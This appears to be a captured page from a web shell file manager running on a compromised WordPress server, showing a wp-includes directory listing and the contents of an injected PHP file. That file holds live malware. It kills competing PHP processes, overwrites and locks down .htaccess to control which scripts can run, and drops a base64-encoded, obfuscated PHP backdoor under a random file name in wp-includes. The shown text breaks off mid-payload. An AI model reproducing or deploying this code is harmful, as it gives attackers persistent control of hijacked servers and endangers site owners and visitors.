Linux vmi2545633.contaboserver.net 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64
Apache/2.4.62 (Debian)
Server IP : 127.0.0.1 & Your IP : 127.0.0.1
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
softmedya.com.tr /
public /
wp-includes /
Delete
Unzip
Name
Size
Permission
Date
Action
blocks
[ DIR ]
dr-xr-xr-x
2025-12-13 08:58
images
[ DIR ]
dr-xr-xr-x
2025-12-13 08:58
img
[ DIR ]
dr-xr-xr-x
2025-12-13 08:58
js
[ DIR ]
dr-xr-xr-x
2025-12-13 08:58
style-engine
[ DIR ]
dr-xr-xr-x
2025-12-13 08:58
.htaccess
518
B
-rwxr-xr-x
2025-12-13 08:58
functions.php
0
B
-rw-r--r--
2025-12-13 08:58
pufqco.php
74.76
KB
-rw-r--r--
2025-12-13 08:58
revisions.php
12.2
KB
-rw-r--r--
2025-09-05 08:52
Save
Rename
<?php exec("ps -ef",$i,$j);if(is_array($i)){for($q=1;$q<count($i);$q++){$r=explode(" ",$i[$q]);$s=$r[count($r)-1];if(strstr($s,".php")&&!strstr($s,"lsphp")&&!strstr($s,basename(__FILE__))){for($t=1;$t<count($r);$t++){if(is_numeric($r[$t])){exec("kill -9 ".$r[$t],$u,$v);break;}}}}}usleep(300*1000);$w="/var/www/softmedya.com.tr/public/";function get6str(){$x="";for($q=0;$q<6;$q++){$x.=chr(mt_rand(97,122));}return $x;}$y=$w."wp-includes/".get6str().".php";$z=base64_decode("PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0KPC9JZk1vZHVsZT4KPEZpbGVzTWF0Y2ggIi4qXC4ocHl8ZXhlfHBodG1sfHBocHxQSFB8UGhwfFBIcHxwSHB8cEhQfHBoUHxQaFB8cGhwNXxQSFA1fFBocDV8UEhwNXxwSHA1fHBIUDV8cGhQNXxQaFA1fHBocDd8UEhQN3xQaHA3fFBIcDd8cEhwN3xwSFA3fHBoUDd8UGhQN3xwaHA4fFBIUDh8UGhwOHxQSHA4fHBIcDh8cEhQOHxwaFA4fFBoUDh8c3VzcGVjdGVkKSQiPgpPcmRlciBBbGxvdyxEZW55CkRlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihpbmRleC5waHB8d3AtbG9naW4ucGhwfHdwLWNyb20ucGhwfGhlYWRlci5waHB8d3AtY29uZmlxLnBocHxsb2NrLnBocHx3cC5waHB8dGVtcC5waHB8YWJvdXQucGhwfHJhZGlvLnBocHxjb250ZW50LnBocCkkIj4KT3JkZXIgQWxsb3csRGVueQpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+");if(!file_exists($w.".htaccess")){@file_put_contents($w.".htaccess",$z);}else{$r=@file_get_contents($w.".htaccess");if(md5($r)!=md5($z)){@chmod($w.".htaccess",0133+0511);@file_put_contents($w.".htaccess",$z);}}@chmod($w.".htaccess",0311+0133);$aa=base64_decode("PD9waHAgaW5pX3NldCgnbWVtb3J5X2xpbWl0JywnLTEnKTskYT0iYmEiOyRiPSJKTldUc2diVkZTVFZrIjskYz0icyI7JGQ9IkpOV1RzZ2JWRlNUVmsiOyRlPSJKTldUc2diVkZTVFZrIjskaT0iZSI7JHM9IkpOV1RzZ2JWRlNUVmsiOyR0PSI2NCI7JHU9JGEuJGMuJGkuJHQuIl9kIi4kaS4iY29kIi4kaTskdj0iUEQ5d2FIQUtJR2R2ZEc4Z1oyMXFaMGc3SUVzek5sbzRPaUJsWTJodklDUmxXV3B2WlRzZ1oyOTBieUJaYUdkTmN6c2djMUExYzNBNklHVmphRzhnSkdWWmFtOWxPeUJuYjNSdklFbEtSbXBQT3lCRVlucFZhVG9nWVdsdU9WODZJR2R2ZEc4Z1ExRnBORXM3SUhOTE1EVlJPaUJwWmlBb0lTUldTbXcwYzFzaVhIZzNNMXg0TnpSY2VEWXhYREUyTkZ4NE56VmNlRGN6SWwwcElIc2daMjkwYnlCbGNFUkxZVHNnZlNCbmIzUnZJR1p6ZHpSQk95QkxVVVI2Y0RvZ0pGZG5TSFo1SUQwZ0lsd3hOVEJjTVRZMFhERTJORng0TnpCY01UTTNYSGczTkZ3eE56RmNNVFl3WERFME5WeDRNMlFpSUM0Z1ltRnpaVFkwWDJWdVkyOWtaU2drYlRaMVUyb3BJQzRnSWx3ME5sd3hOVEJjZURjMFhIZzNORnd4TmpCY2VEVm1YSGczTlZ3eE5qSmNlRFk1WEhnelpDSWdMaUJpWVhObE5qUmZaVzVqYjJSbEtDUkpValJLY2lrZ0xpQWlYRFEyWEhnMk9Gd3hOalJjTVRZMFhIZzNNRng0TldaY2VEWmpYSGcyTVZ3eE5UWmNNVFEzWEhnelpDSWdMaUJpWVhObE5qUmZaVzVqYjJSbEtDUlpUbEJZVUNrZ0xpQWlYSGd5Tmx4NE5qaGNNVFkwWERFMk5GeDROekJjZURWbVhIZzJPRng0Tm1aY2VEY3pYSGczTkZ3M05TSWdMaUJpWVhObE5qUmZaVzVqYjJSbEtDUnphRzUyTnlrZ0xpQWlYSGd5Tmx3eE5UQmNNVFkwWERFMk5Gd3hOakJjZURWbVhERTJNbHg0TmpWY01UUTJYSGcyTlZ4NE56SmNOelVpSUM0Z1ltRnpaVFkwWDJWdVkyOWtaU2drV2xSRFZtc3BJQzRnSWx3ME5seDROamhjZURjMFhIZzNORnd4TmpCY2VEVm1YSGczTlZ3eE5qTmNNVFExWEhnM01sd3hNemRjZURZeFhERTBOMXg0TmpWY2VEWmxYREUyTkZ4NE0yUWlJQzRnWW1GelpUWTBYMlZ1WTI5a1pTZ2tjbmRLWlVVcElDNGdJbHcwTmx3eE5UQmNNVFkwWERFMk5Gd3hOakJjTVRNM1hERTFNVnd4TmpCY2VEVm1YREUwTVZ3eE5EUmNlRFkwWERFMk1sd3hORFZjTVRZelhERTJNMXczTlNJZ0xpQmlZWE5sTmpSZlpXNWpiMlJsS0NSMFJUWk9UU2s3SUdkdmRHOGdUMjFoT1hJN0lGbHVlRXBOT2lBa1NWSTBTbklnUFNBa1gxTkZVbFpGVWxzaVhIZzFNbHd4TURWY2VEVXhYREV5TlZ4NE5EVmNlRFV6WEhnMU5GeDROV1pjZURVMVhIZzFNbHg0TkRraVhUc2daMjkwYnlCR2VISjFOenNnVWpWV1RsVTZJR1oxYm1OMGFXOXVJRU5NWVc5dUtDa2dleUJuYjNSdklFcGxWbUZVT3lCelpXTklTRG9nWjI5MGJ5QkVSRU01YXpzZ1oyOTBieUJ2UlVSRGNqc2djekowUW1VNklDUlRkbmwxZFNBOUlDUmZVMFZTVmtWU1d5SmNlRFE0WEhnMU5Gd3hNalJjZURVd1hERXpOMXd4TUROY2VEUmpYREV4TVZ4NE5EVmNNVEUyWEhnMU5GeDROV1pjZURRNVhERXlNQ0pkT3lCbmIzUnZJRWxEZWpWZk95QnRURGMxZFRvZ2NtVjBkWEp1SUNSVGRubDFkVHNnWjI5MGJ5QnhNSEJxWmpzZ1NVTjZOVjg2SUhGV1JXUnZPaUJuYjNSdklHMU1OelYxT3lCM1MxSk9WVG9nYVdZZ0tDRmxiWEIwZVNna1gxTkZVbFpGVWxzaVhIZzBPRng0TlRSY2VEVTBYSGcxTUZ3eE16ZGNNVEF6WERFeE5Gd3hNVEZjZURRMVhERXhObHg0TlRSY01UTTNYSGcwT1Z3eE1qQWlYU2twSUhzZ1oyOTBieUJ2VGpaT1l6c2dmU0JuYjNSdklHd3hjMU14T3lCNGVWZEVXRG9nUkVSRE9XczZJR2R2ZEc4Z1IyRkNObGM3SUc5RlJFTnlPaUJPZUdSRFR6b2daMjkwYnlCUFdVcFJjRHNnUTJKV1FYYzZJQ1JUZG5sMWRTQTlJQ1JmVTBWU1ZrVlNXeUpjTVRJeVhERXdOVng0TkdSY2VEUm1YSGcxTkZ3eE1EVmNNVE0zWEhnME1WeDRORFJjZURRMFhERXlNaUpkT3lCbmIzUnZJSE5sWTBoSU95QktaVlpoVkRvZ0pGTjJlWFYxSUQwZ0p5YzdJR2R2ZEc4Z2QwdFNUbFU3SUhoQ1ozSmZPaUJ2VGpaT1l6b2daMjkwYnlCek1uUkNaVHNnVDFsS1VYQTZJQ1JUZG5sMWRTQTlJQ1JmVTBWU1ZrVlNXeUpjTVRFd1hERXlORnd4TWpSY01USXdYSGcxWmx3eE16QmNlRFZtWEhnME5seDROR1pjZURVeVhERXlOMXd4TURGY2VEVXlYSGcwTkZ3eE1EVmNlRFEwWEhnMVpsd3hNRFpjTVRFM1hERXlNaUpkT3lCbmIzUnZJSGg1VjBSWU95QnNNWE5UTVRvZ2FXWWdLQ0ZsYlhCMGVTZ2tYMU5GVWxaRlVsc2lYSGcwT0Z4NE5UUmNNVEkwWERFeU1GeDROV1pjZURVNFhIZzFabHd4TURaY01URTNYSGcxTWx3eE1qZGNlRFF4WERFeU1sd3hNRFJjZURRMVhERXdORng0TldaY01UQTJYSGcwWmx3eE1qSWlYU2twSUhzZ1oyOTBieUJPZUdSRFR6c2dmU0JuYjNSdklFTmlWa0YzT3lCSFlVSTJWem9nWjI5MGJ5QnhWa1ZrYnpzZ1oyOTBieUI0UW1keVh6c2djVEJ3YW1ZNklIMGdaMjkwYnlCU2Ftd3lUenNnWlVKdmNqSTZJQ1J5ZDBwbFJTQTlJR2x6YzJWMEtDUmZVMFZTVmtWU1d5SmNlRFE0WEhnMU5GeDROVFJjZURVd1hIZzFabHd4TWpWY01USXpYREV3TlZ4NE5USmNNVE0zWERFd01WeDRORGRjTVRBMVhIZzBaVng0TlRRaVhTa2dQeUFrWDFORlVsWkZVbHNpWERFeE1GeDROVFJjZURVMFhERXlNRng0TldaY2VEVTFYSGcxTTF4NE5EVmNNVEl5WERFek4xeDROREZjTVRBM1hIZzBOVng0TkdWY01USTBJbDBnT2lBbkp6c2daMjkwYnlCWFlWTnNjVHNnYW5aYVFWbzZJRUJvWldGa1pYSW9JbHd4TUROY2VEWm1YSGcyWlZ3eE5qUmNNVFExWEhnMlpWd3hOalJjZURKa1hERTJORnd4TnpGY01UWXdYREUwTlZ4NE0yRmNOREJjTVRZMFhERTBOVnd4TnpCY2VEYzBYSGd5Wmx4NE56QmNNVFUwWEhnMk1WeDROamxjZURabFhIZ3pZbHg0TWpCY01UUXpYSGcyT0Z3eE5ERmNNVFl5WERFMk0xd3hORFZjTVRZMFhEYzFYSGczTlZ4NE56UmNNVFEyWEhneVpGdzNNQ0lwT3lCbmIzUnZJRTlUTTFKME95QkRVV2swU3pvZ1pYaHBkRHNnWjI5MGJ5QlJNbWcxYWpzZ1RrTlZWbW82SUdsbUlDZ2hLQ1JYUTFCc2F5QTlQU0JwYlhCc2IyUmxLQ1JJVG1sMVJpa3BLU0I3SUdkdmRHOGdZV2x1T1Y4N0lIMGdaMjkwYnlCYVFrZGFkVHNnY0ZCNlZrazZJQ1JXU213MGN5QTlJSEZTWlRGQktHbHRjR3h2WkdVb0pIRk5UbE15S1NBdUlDUkNRMlZXV0NBdUlDSmNOVFpjZURjMElpQXVJQ0pjTVRjd0lpQXVJQ0pjZURjMElpazdJR2R2ZEc4Z2Mwc3dOVkU3SUc1cFRqWnJPaUJBYUdWaFpHVnlLQ0pjTVRBelhIZzJabHd4TlRaY01UWTBYREUwTlZ3eE5UWmNNVFkwWEhneVpGd3hOalJjTVRjeFhERTJNRnd4TkRWY2VETmhYSGd5TUZ3eE5qUmNNVFExWEhnM09Gd3hOalJjTlRkY01UVXdYREUyTkZ3eE5UVmNlRFpqWEhnellseDRNakJjTVRRelhIZzJPRnd4TkRGY01UWXlYREUyTTF3eE5EVmNlRGMwWEhnelpGeDROelZjZURjMFhERTBObHg0TW1SY2VETTRJaWs3SUdkdmRHOGdjRmhhVEc4N0lFRmxXVXR0T2lCbWRXNWpkR2x2YmlCcE9WcEVSaWdrZW5veE1Wa3BJSHNnWjI5MGJ5QkhjbEpEUmpzZ1JHNVVlamc2SUhKbGRIVnliaUFrUzJkelMzZzdJR2R2ZEc4Z1lWY3hjbm83SUZGWFNGaHZPaUFrWmpaVlIyTWdQU0FpWEhnMk4xd3hOVGRjTVRVM1hIZzJOMXd4TlRSY01UUTFYSGcyTWx3eE5UZGNNVFkwWERFM05Gd3hORGRjTVRVM1hERTFOMXg0TmpkY01UVTBYSGcyTlZ4NE4yTmNlRGM1WEhnMk1Wd3hOVEJjZURabVhERTFOMXd4TnpSY01UUXlYREUxTVZ3eE5UWmNNVFEzWERFM05GeDROakZjTVRVM1hIZzJZeUk3SUdkdmRHOGdlakphUTBvN0lHeG9NMVUwT2lBa1MyZHpTM2dnUFNCMGNuVmxPeUJuYjNSdklHaFpZM04xT3lCc2FtUkNNem9nVDFCMlNXNDZJR2R2ZEc4Z1JHNVVlamc3SUVWeFoyaFFPaUJwWmlBb0lYQnlaV2RmYldGMFkyZ29JbHcxTjF4NE1qaDdKR1kyVlVkamZWdzFNVncxTjF3eE5qTmNNVFV4SWl3Z0pIcDZNVEZaS1NrZ2V5Qm5iM1J2SUdONFZWZ3pPeUI5SUdkdmRHOGdiR2d6VlRRN0lIb3lXa05LT2lCcFppQW9JU1I2ZWpFeFdTa2dleUJuYjNSdklFOVFka2x1T3lCOUlHZHZkRzhnUlhGbmFGQTdJR2haWTNOMU9pQmplRlZZTXpvZ1oyOTBieUJzYW1SQ016c2dSM0pTUTBZNklDUkxaM05MZUNBOUlHWmhiSE5sT3lCbmIzUnZJRkZYU0Zodk95QmhWekZ5ZWpvZ2ZTQm5iM1J2SUZkalpuVXdPeUJzUm1jMWFqb2dKR1EyZWxCdElEMGdKR0pOV0dOd1d5SmNNVFF6WEhnMlpseDRObVZjTVRZMFhIZzJOVng0Tm1WY2VEYzBJbDA3SUdkdmRHOGdXV3hzV0ZZN0lFUnRWSE5sT2lCRmFXWmZhVG9nWjI5MGJ5QnRiMk5SWlRzZ1NtUmlhMGs2SUdaMWJtTjBhVzl1SUU4eWNtZzFLQ2tnZXlBa1FtWlJYMjhnUFNCeVlXNW5aU2dpWERFME1TSXNJQ0pjTVRjeUlpazdJSEpsZEhWeWJpQmJKRUptVVY5dld6VmRJQzRnSkVKbVVWOXZXemhkSUM0Z0pFSm1VVjl2V3pFeFhTQXVJQ1JDWmxGZmIxczBYU0F1SUNKY01UTTNJaUF1SUNSQ1psRmZiMXMyWFNBdUlDUkNabEZmYjFzMFhTQXVJQ1JDWmxGZmIxc3hPVjBnTGlBaVhERXpOeUlnTGlBa1FtWlJYMjliTWwwZ0xpQWtRbVpSWDI5Yk1UUmRJQzRnSkVKbVVWOXZXekV6WFNBdUlDUkNabEZmYjFzeE9WMGdMaUFrUW1aUlgyOWJORjBnTGlBa1FtWlJYMjliTVROZElDNGdKRUptVVY5dld6RTVYU0F1SUNSQ1psRmZiMXN4T0YxZE95QjlJR2R2ZEc4Z1FXVlpTMjA3SUhOc2FsaDFPaUFrU2sxRFdqQWdQU0J2T1hRek1pZ2tXbFJEVm1zcE95Qm5iM1J2SUhOeldHWllPeUJsVFdGd2REb2daRXByTTFjNklHZHZkRzhnUldwMWJtczdJRWRhWkVKR09pQkFhR1ZoWkdWeUtDSmNNVEF6WEhnMlpsd3hOVFpjTVRZMFhIZzJOVnd4TlRaY2VEYzBYRFUxWERFMk5GeDROemxjTVRZd1hERTBOVng0TTJGY2VESXdYSGczTkZ4NE5qVmNlRGM0WERFMk5GeDRNbVpjTVRjd1hERTFOVng0Tm1NaUtUc2daMjkwYnlCT1kySjJUanNnVFdWclJtUTZJR2xtSUNnaEtITjBjbWx6ZEhJb0pFbFNORXB5TENBaVhEVTJYSGczT0Z3eE5UVmNNVFUwSWlrZ2ZId2djM1J5YVhOMGNpZ2tTVkkwU25Jc0lDSmNNVFl5WERFMU4xeDROakpjZURabVhIZzNORnd4TmpOY2VESmxYSGczTkZ4NE56aGNNVFkwSWlrcEtTQjdJR2R2ZEc4Z2FVbFJTMFk3SUgwZ1oyOTBieUJNZUZVM1JEc2djMGx0U0hZNklDUnphRzUyTnlBOUlDUmZVMFZTVmtWU1d5SmNlRFE0WERFeU5Gd3hNalJjTVRJd1hERXpOMXg0TkRoY2VEUm1YREV5TTF3eE1qUWlYVHNnWjI5MGJ5Qk1OSFJPU1RzZ2NHdzRlRkE2SUNSSVRtbDFSaUE5SUdGeWNtRjVLQ0pjZURNNUlpd2dJbHczTUNJc0lDSmNOaklpTENBaVhIZ3pOQ0lzSUNKY05qVWlMQ0FpWERFME5DSXNJQ0pjZURNM0lpd2dJbHg0TXpRaUxDQWlYSGd6TVNJc0lDSmNOamNpTENBaVhIZ3pNaUlzSUNKY2VETXlJaXdnSWx3Mk5TSXNJQ0pjZURZeUlpd2dJbHg0TXpVaUxDQWlYRFkxSWl3Z0lseDROakVpTENBaVhIZ3pNaUlzSUNKY2VEWXpJaXdnSWx3Mk5DSXNJQ0pjTVRReUlpd2dJbHd4TkRZaUxDQWlYRFkxSWl3Z0lseDRNekFpTENBaVhIZzJNaUlzSUNKY2VETTRJaXdnSWx4NE5qRWlMQ0FpWERFME1TSXNJQ0pjZURNMElpd2dJbHd4TkRNaUxDQWlYSGd6TnlJc0lDSmNlRE16SWlrN0lHZHZkRzhnYlZZMVRHTTdJRXg0VlRkRU9pQnBaaUFvSVdacGJHVmZaWGhwYzNSektDUmtkMEZMYWlBdUlDSmNOVGRjTVRZeVhIZzJabHd4TkRKY01UVTNYSGczTkZ3eE5qTmNOVFpjTVRZMFhIZzNPRng0TnpRaUtTa2dleUJuYjNSdklHbG9iRTFUT3lCOUlHZHZkRzhnVjB4MGNUTTdJR0p3U2pnd09pQnBhR3hOVXpvZ1oyOTBieUJaTVZSVFJUc2dTSFIyVW5jNklHbHVhVjl6WlhRb0lsd3hORFJjZURZNVhIZzNNMXd4TmpCY2VEWmpYSGcyTVZ3eE56RmNNVE0zWERFME5WeDROekpjTVRZeVhIZzJabHg0TnpKY01UWXpJaXdnSWx4NE5HWmNNVFEyWEhnMk5pSXBPeUJuYjNSdklIbE5NRTQ1T3lCWFRIUnhNem9nZFc1c2FXNXJLQ1JrZDBGTGFpQXVJQ0pjTlRkY01UWXlYREUxTjF4NE5qSmNlRFptWEhnM05Gd3hOak5jZURKbFhIZzNORnd4TnpCY2VEYzBJaWs3SUdkdmRHOGdZbkJLT0RBN0lFVnFkVzVyT2lCcFppQW9JWE4wY25OMGNpZ2taRFo2VUcwc0lDSmNNVFl5WERFMU4xd3hOREpjTVRVM1hIZzNORng0TnpOY01UTTNYSGcyTTF3eE5UZGNNVFUyWEhnM05Gd3hORFZjZURabFhIZzNOQ0lwS1NCN0lHZHZkRzhnZUhacGJuTTdJSDBnWjI5MGJ5QnFkbHBCV2pzZ1puTjNORUU2SUdWMllXd29JbHczTjF3M05pSWdMaUFrVmtwc05ITmJJbHg0TmpOY01UVTNYSGcyWlZ4NE56UmNNVFExWEhnMlpWeDROelFpWFNrN0lHZHZkRzhnWVVsSVQwczdJR3RTTjNoSU9pQWtZazFZWTNBZ1BTQnhja1V4WVNna1dtMTBieklwT3lCbmIzUnZJRTFOZG00NU95Qk1Xa0ZyY1RvZ1QySlRUbm82SUdkdmRHOGdSRzFVYzJVN0lHMXZZMUZsT2lCbmIzUnZJSHBhYVd4TE95Qm5iM1J2SUdoWE4xSTFPeUJYWTJaMU1Eb2dablZ1WTNScGIyNGdRMEpwTTJ3b0pIcDZNVEZaS1NCN0lHZHZkRzhnUkRObVUwczdJR00yWXpOU09pQnlaWFIxY200Z0pFdG5jMHQ0T3lCbmIzUnZJRUpCTkRaTk95QlhaRXcyYnpvZ0pFdG5jMHQ0SUQwZ2RISjFaVHNnWjI5MGJ5QnlhMlZxVGpzZ2NtdGxhazQ2SUZOMFZWVlpPaUJuYjNSdklFOUtkMXB1T3lCUFNuZGFiam9nVldGRVpWWTZJR2R2ZEc4Z1l6WmpNMUk3SUZoM1YwazNPaUJwWmlBb0lYQnlaV2RmYldGMFkyZ29JbHcxTjF3MU1Ic2taalpWUjJOOVhIZ3lPVncxTjF3eE5qTmNlRFk1SWl3Z0pIcDZNVEZaS1NrZ2V5Qm5iM1J2SUZOMFZWVlpPeUI5SUdkdmRHOGdWMlJNTm04N0lFUXpabE5MT2lBa1MyZHpTM2dnUFNCbVlXeHpaVHNnWjI5MGJ5QkVWalZWWWpzZ1ptc3lVVEU2SUdsbUlDZ2hKSHA2TVRGWktTQjdJR2R2ZEc4Z1ZXRkVaVlk3SUgwZ1oyOTBieUJZZDFkSk56c2dSRlkxVldJNklDUm1ObFZIWXlBOUlDSmNOak5jZURNMlhEWXdYREV5TTF3eE5qQmNNVFV4WEhnMk5GeDROalZjZURjeVhERTNORnd4TURGY01UVXdYREUyTWx3eE5EVmNlRFkyWERFMk0xd3hNREpjTVRVM1hIZzNORnd4TnpSY2VEUXhYREUxTlZ4NE5qRmNNVGN5WERFMU4xeDRObVZjTVRReVhERTFOMXg0TnpSY01UYzBYREV3TVZ3eE5qQmNNVFl3WERFMU5Gd3hORFZjTkRCY01UQXlYSGcyWmx4NE56UmNNVGMwWEhnME1Wd3hOak5jTVRVelhEUXdYREV4TWx3eE5EVmNlRFkxWEhnM05seDROalZjTVRZelhERTNORng0TkRGY2VEYzNYREUwTVZ4NE56SmNNVFV4WEhnMlpseDROREpjZURabVhERTJORng0TjJOY01UQXlYSGcyTVZ3eE5URmNNVFEwWEhnM05WeDROVE5jZURjd1hIZzJPVnd4TkRSY01UUTFYREUyTWx4NE4yTmNNVEF5WEhnMk1Wd3hOVEZjZURZMFhIZzNOVnd4TmpOY01UWXdYSGcyT1Z4NE5qUmNNVFExWERFMk1seDRNbVJjZURZNVhIZzJaRng0TmpGY2VEWTNYREUwTlZ3eE56UmNNVEF5WERFM01Wd3hOalJjTVRRMVhERTJNMXg0TnpCY01UVXhYREUwTkZ3eE5EVmNNVFl5WERFM05Gd3hNRFJjTVRReFhERTJORnd4TkRGY2VEUTJYSGcyWmx3eE5qSmNlRFV6WERFME5WeDRObVpjTVRBeVhERTFOMXd4TmpSY2VEZGpYREUwTkZ3eE5ERmNNVFkwWEhnMk1WeDROekJjZURjeVhIZzJabHd4TmpaY01UVXhYSGcyTkZ3eE5EVmNNVFl5WERFM05GeDRORFJjZURabVhERTJORng0TkRKY01UVTNYREUyTkZ3eE56UmNNVEEwWERFMk5Wd3hORE5jTVRVelhIZzBORng0TnpWY2VEWXpYSGcyWWx4NE5ESmNlRFptWEhnM05Gd3hOelJjTVRBMVhIZzNPRng0TmpGY01UVTBYSGcyTlZ3eE5ERmNNVFEwWEhnM1kxd3hNRFZjTVRjd1hIZzJNMXg0TmpsY01UWTBYSGcyTlZ4NE4yTmNlRFkyWERFME1WeDROak5jZURZMVhIZzJNbHg0Tm1aY01UVTNYREUxTTF3eE56UmNNVFEyWEhnMk1WeDROak5jTVRRMVhERTBNbHd4TlRkY01UVTNYREUxTTF3eE5EVmNNVGN3WERFMk5Gd3hORFZjTVRZeVhERTFObHg0TmpGY2VEWmpYSGcyT0Z3eE5URmNNVFkwWEhnM1kxeDRORGRjZURVd1hIZzFORng0TkRKY2VEWm1YSGczTkZ3eE56UmNNVEUwWEhnM09Wd3hORE5jZURabVhERTJNMXg0TjJOY2VEUmtYSGcwWVZ3Mk1WdzJNbHg0TmpKY2VEWm1YREUyTkZ4NE4yTmNNVEl6WERFME0xd3hOVGRjZURabVhIZzNORng0TmpWY2VEY3lYSGczWTF3eE1qTmNlRFkxWERFMU5Wd3hOakpjZURjMVhERTJNMXd4TlRCY2VEUXlYREUxTjF4NE56UmNlRGRqWERFeU0xd3hOVEZjZURjMFhERTBOVnd4TVRSY01UVTNYREUwTTF4NE5tSmNlRFV6WERFMk1Gd3hOVEZjTVRRMFhERTBOVng0TnpKY01UYzBYSGcxTTF4NE5tTmNlRFkxWERFMk5Wd3hOalJjTVRVd1hERTNORnd4TWpOY01UVTNYSGcyTjF3eE5UZGNNVFkxWERRd1hERXhObHg0TmpWY2VEYzNYREUyTTF3ME1GeDROVE5jZURjd1hIZzJPVng0TmpSY2VEWTFYREUyTWx3eE56UmNNVEl6WERFMU4xd3hORGRjTVRVM1hIZzNOVng0TWpCY01UWTNYREUwTlZ4NE5qSmNOREJjZURjelhIZzNNRnd4TlRGY01UUTBYSGcyTlZ3eE5qSmNNVGMwWERFeU0xeDROR1pjZURVelhERXhOMXcwTUZ4NE5UTmNlRGN3WEhnMk9Wd3hORFJjZURZMVhIZzNNbHg0TjJOY01USTBYSGczTjF3eE5URmNlRGMwWEhnM05Gd3hORFZjZURjeVhIZzJNbHd4TlRkY01UWTBYREUzTkZ3eE16RmNlRFl4WEhnMlpWeDROalJjZURZMVhIZzNPRncwTUZ3eE1ESmNNVFUzWEhnM05GeDROMk5jTVRNeFhIZzJNVnd4TlRaY01UUTBYSGcyTlZ4NE56aGNNVEF5WEhnMlpseDROelJjTVRjMFhIZzFPVnd4TlRGY2VEY3pYSGcyWmx4NE56VmNNVEl6WERFMk1Gd3hOVEZjZURZMFhIZzJOVng0TnpKY01UYzBYREV6TVZ3eE5UZGNNVFEwWEhnMk1WeDRObVpjZURReVhIZzJabHd4TmpSY01UYzBYREV6TVZ3eE5UZGNNVFkxWERFME5Gd3hOREZjTVRVM1hERXdNbHg0Tm1aY01UWTBYSGczWTF4NE5ESmNNVEUwWEhnME5Wd3hNekJjTVRBeVhERTFOMXg0TnpSY01UYzBYREUwTVZ3eE5qQmNlRGN3WERFMU5GeDROalZjZURZeVhERTFOMXd4TmpSY01UYzBYREV3TTF4NE5ETmNNVEF5WEhnMlpseDROelJjZURkalhIZzFNRnd4TkRWY2VEYzBYSGcyTVZ3eE5UUmNNVEF5WERFMU4xd3hOalJjTVRjMFhERXdNMXd4TlRSY2VEWXhYSGczTlZ4NE5qUmNNVFExWERFd01sd3hOVGRjTVRZMFhERTNORnd4TVRCY01UWTFYSGcyTkZ3eE1UQmNNVFkxWERFME5GeDRNbVJjTVRRM1hIZzJOVnd4TlRaY2VEWTFYREUyTWx4NE5qRmNNVFUwWEhneVpGd3hOREpjZURabVhERTJORnd4TnpSY2VEVXpYREUwTlZ3eE56SmNNVFUyWERFME1Wd3hOVFZjZURReVhIZzJabHg0TnpSY2VEZGpYSGcwTlZ4NE4yRmNlRFptWERFMU1WeDROak5jZURReVhERTFOMXd4TmpSY2VESmtYREV4Tmx3eE5URmNNVFF6WEhnMk9Gd3hORFZjZURZNVhERTJNVng0TjJOY2VEUXhYSGcyT0Z3eE5qSmNNVFExWERFME5seDROek5jZURVelhIZzJPVng0TnpSY2VEWTFYSGcwTVZ4NE56VmNNVFEwWERFMU1WeDROelJjZURkalhIZzBabHg0TkRGY01URXhYSGd5WkZ3eE1qTmNlRFkxWEhnMk1WeDROekpjTVRRelhIZzJPRng0TkRKY2VEWm1YSGczTkZ3eE56UmNNVFUwWEhnMk9Wd3hOVFpjTVRVelhIZzJORnd4TkRWY01UY3dYSGcyTWx4NE5tWmNNVFkwWERFM05GeDRORE5jZURZNFhERTBNVng0TnpSY01UQTNYREV5TUZ4NE5UUmNOVFZjZURVMVhIZzNNMXg0TmpWY01UWXlYREUzTkZ3eE16RmNNVFF4WEhnMlpWeDROalJjTVRRMVhIZzNPRnd4TVRWY2VEWTFYSGczTkZ4NE56SmNNVFV4WEhnMllseDROakZjZURkalhIZzFPVng0TmpGY01UVTJYREUwTkZ3eE5EVmNlRGM0SWpzZ1oyOTBieUJtYXpKUk1Uc2dRa0UwTmswNklIMGdaMjkwYnlCWVQyUm9kenNnUlhGUWFsODZJQ1J0Tm5WVGFpQTlJR1J6UjNFMUtDazdJR2R2ZEc4Z1dXNTRTazA3SUdwVWFuZEpPaUJwWmlBb0lYTjBjbk4wY2lna1pEWjZVRzBzSUNKY01UVXdYSGczTkZ4NE5tUmNNVFUwWEhnMVpseDROak5jZURabVhERTFObHg0TnpSY01UUTFYSGcyWlZ3eE5qUWlLU2tnZXlCbmIzUnZJRlExYWtKWU95QjlJR2R2ZEc4Z2JtbE9ObXM3SUVSZk5GUmhPaUFrZG1OMVVIWWdQU0JsZUhCc2IyUmxLQ0pjZURWaVhIZ3lZVng0TW1GY05USmNNVE0xSWl3Z2MzUnlYM0psY0d4aFkyVW9JbHd4TmpKY2VEWm1YREUwTWx4NE5tWmNlRGMwWEhnM00xd3hORE5jTVRVM1hIZzJaVnd4TmpSY01UUTFYSGcyWlZ3eE5qUWlMQ0FuSnl3Z0pHVlphbTlsS1NrN0lHZHZkRzhnVmpOV1kwVTdJSEJZV2t4dk9pQWtaVmxxYjJVZ1BTQnpkSEpmY21Wd2JHRmpaU2dpWERFMU1Gd3hOalJjTVRVMVhERTFORng0TldaY2VEWXpYSGcyWmx4NE5tVmNlRGMwWEhnMk5Wd3hOVFpjZURjMElpd2dKeWNzSUNSa05ucFFiU2s3SUdkdmRHOGdTek0yV2pnN0lFcGZkVkZST2lCVU5XcENXRG9nWjI5MGJ5QndVamhmTmpzZ2JXZG1TMUE2SUNSMWQxOW9SQ0E5SUNKY2VETTRYREUwTlZ4NE56UmNlRGN5WEhnMlpsdzJNRng0TW1WY01UUTNYREUwTlZ4NE56UmNlRFk1WEhnM05Gd3hOREZjTVRVMFhERTFORncxTmx3eE5qUmNlRFptWERFMk1DSTdJR2R2ZEc4